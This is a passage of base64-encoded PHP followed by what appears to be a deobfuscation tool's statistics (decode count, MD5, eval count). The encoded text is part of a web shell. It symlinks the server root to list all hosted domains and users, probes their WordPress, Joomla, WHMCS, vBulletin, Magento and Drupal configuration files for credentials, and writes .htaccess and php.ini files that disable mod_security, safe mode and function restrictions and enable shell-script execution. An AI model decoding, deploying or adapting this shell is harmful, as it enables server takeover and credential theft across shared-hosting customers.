oPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKICAgICAgICAgICAgJGNvdW50PTE7CiAgICAgICAgICAgICRtY2sgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICBpZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewogICAgICAgICAgICAgICAgICAgICAgICAkbWNrW10gPSAkZG9tYWluWzFdWzBdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwogICAgICAgICAgICAkbD0wOwogICAgICAgICAgICBmb3JlYWNoKCRtY2sgYXMgJGQpIHsKICAgICAgICAgICAgICAgICR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRkKSk7CiAgICAgICAgICAgICAgICAkZGR0ID0gJHVzZXJbJ25hbWUnXTsKICAgICAgICAgICAgICAgIC8vQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwogICAgICAgICAgICAgICAgJGRkdCA9ICRkOwogICAgICAgICAgICAgICAgaWYoQGVyZWdpKCJcLmlyIiwkZCkgb3IgQGVyZWdpKCJcLmlsIiwkZCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRkdCA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICNGRjAwMDAgOyB0ZXh0LXNoYWRvdzogMHB4IDBweCAxcHggcmVkOyAnPiIuJGQuJzwvZGl2Pic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8dHIiLigkbD8nIGNsYXNzPWwxJzonJykuIj48dGQ+Ii4kY291bnQrKy4iPC90ZD48dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovLyIuJGQuJy8+Jy4kZGR0LicgPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRsPSRsPzA6MTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvY2VudGVyPiI7ICAgIAogICAgfQogCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpCiAgICB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4iOwogICAgICAgIEBta2Rpcignc3ltJywwNzc3KTsKICAgICAgICAkaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkaGZwID0gQGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsKICAgICAgICBAZndyaXRlKCRoZnAgLCRoZHQpOwogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CiAgICAgICAgICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKICAgICAgICB9CiAgICAgICAgJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CiAgICAgICAgaWYoISRkMG1haW5zKSB7CiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgPjx0cj48dGg+IENvdW50IDwvdGg+PHRoPiBEb21haW5zIDwvdGg+PHRoPiBTY3JpcHQgPC90aD48L3RyPiI7CiAgICAgICAgICAgICRjb3VudCA9IDE7CiAgICAgICAgICAgICRsPTA7CiAgICAgICAgICAgIGZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CiAgICAgICAgICAgICAgICBpZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsKICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGQwbWFpbiwkZG9tYWluKTsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgIGlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKT4yKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpblsxXVswXSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJGMxID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAxID0gJGNoMDFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwMiA9IGdldF9oZWFkZXJzKCRjMik7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjAyID0gJGNoMDJbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMyA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDAzID0gZ2V0X2hlYWRlcnMoJGMzKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDMgPSAkY2gwM1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM0ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDQgPSAkY2gwNFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM1ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwNSA9IGdldF9oZWFkZXJzKCRjNSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA1ID0gJGNoMDVbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjNiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMDYgPSBnZXRfaGVhZGVycygkYzYpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YwNiA9ICRjaDA2WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzcgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDcgPSAkY2gwN1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM4ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4ncHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRjaDA4ID0gZ2V0X2hlYWRlcnMoJGM4KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMDggPSAkY2gwOFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGM5ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gwOSA9IGdldF9oZWFkZXJzKCRjOSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRjZjA5ID0gJGNoMDlbMF07CiAgICAgICAgICAgICAgICAgICAgICAgICRjMTAgPSAkYnVybC4nL3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTAgPSAkY2gxMFswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMSA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTEgPSBnZXRfaGVhZGVycygkYzExKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTEgPSAkY2gxMVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgJGMxMiA9ICRidXJsLicvc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMiA9IGdldF9oZWFkZXJzKCRjMTIpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMiA9ICRjaDEyWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzEzID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxMyA9ICRjaDEzWzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE0ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGUvYXBwX2NvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgICAgICAgICAkY2gxNCA9IGdldF9oZWFkZXJzKCRjMTQpOwogICAgICAgICAgICAgICAgICAgICAgICAkY2YxNCA9ICRjaDE0WzBdOwogICAgICAgICAgICAgICAgICAgICAgICAkYzE1ID0gJGJ1cmwuJy9zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJzsKICAgICAgICAgICAgICAgICAgICAgICAgJGNoMTUgPSBnZXRfaGVhZGVycygkYzE1KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGNmMTUgPSAkY2gxNVswXTsKICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSAnJm5ic3A7JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRjZjAxLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIjxhIGhyZWY9JyIuJGMxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsgICB9IAogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjAyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiPGEgaHJlZj0nIi4kYzIuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSAmJiBzdHJwb3MoJGNmMTEsJzIwMCcpID09IHRydWUpIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDksJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzkuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7ICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEwLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMxMC4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjMy4iJyB0YXJnZXQ9J19ibGFuayc+Sm9vbWxhPC9hPiI7ICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzQuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA1LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM1LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YwNiwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNi4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMDcsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjA4LCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEyLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5DbGllbnQgQXJlYTwvYT4iOyAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoc3RycG9zKCRjZjEzLCcyMDAnKSA9PSB0cnVlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeyAgICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5vc0NvbW1lcmNlL1plbiBDYXJ0PC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihzdHJwb3MoJGNmMTQsJzIwMCcpID09IHRydWUpICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7ICAgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPk1hZ2VudG88L2E+IjsgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKHN0cnBvcygkY2YxNSwnMjAwJykgPT0gdHJ1ZSkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsgICAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+RHJ1cGFsPC9hPiI7ICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyJy4oJGw/JyBjbGFzcz1sMSc6JycpLic+PHRkPicuJGNvdW50KysuJzwvdGQ+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRkb21haW5bMV1bMF0uJy8+Jy4kZG9tYWluWzFdWzBdLic8L2E+PC90ZD48dGQ+Jy4kdXNlclsnbmFtZSddLic8L3RkPjx0ZD4nLiRvdXQuJzwvdGQ+PC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICAgICAkbD0kbD8wOjE7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC9jZW50ZXI+IjsgICAKICAgIH0KICAgIGVjaG8gIjwvZGl2PiI7CiAgICBwcmludEZvb3RlcigpOwp9IAoKZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIE1vZGU8L2gxPic7CiAgICBlY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICAgICAkZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+CiAgICAgICAgICAgIFNlYy0tLS0tLUVuZ2luZSBPZmYKICAgICAgICAgICAgU2VjLS0tLS0tU2NhblBPU1QgT2ZmCiAgICAgICAgICAgIDwvSWZNb2R1bGU+Jyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuaW5pIiwidyIpOwogICAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCiAgICAgICAgICAgIGRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZndyaXRlKCRmaWwsJ09wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kKICAgICAgICBBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaAogICAgICAgIEFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKICAgICAgICBBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyk7CiAgICAgICAgZmNsb3NlKCRmaWwpOyAKICAgIH0KICAgIGVjaG8gIjxicj48YnIgLz48YnIgLz48L2Rpdj4iOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQogICAgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKQogICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwogICAgZWxzZQogICAgICAgICRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7'));
Function Calls
base64_decode | 1 |
Stats
MD5 | b33f8627428755bb57930b62c9d00e26 |
Eval Count | 1 |
Decode Time | 260 ms |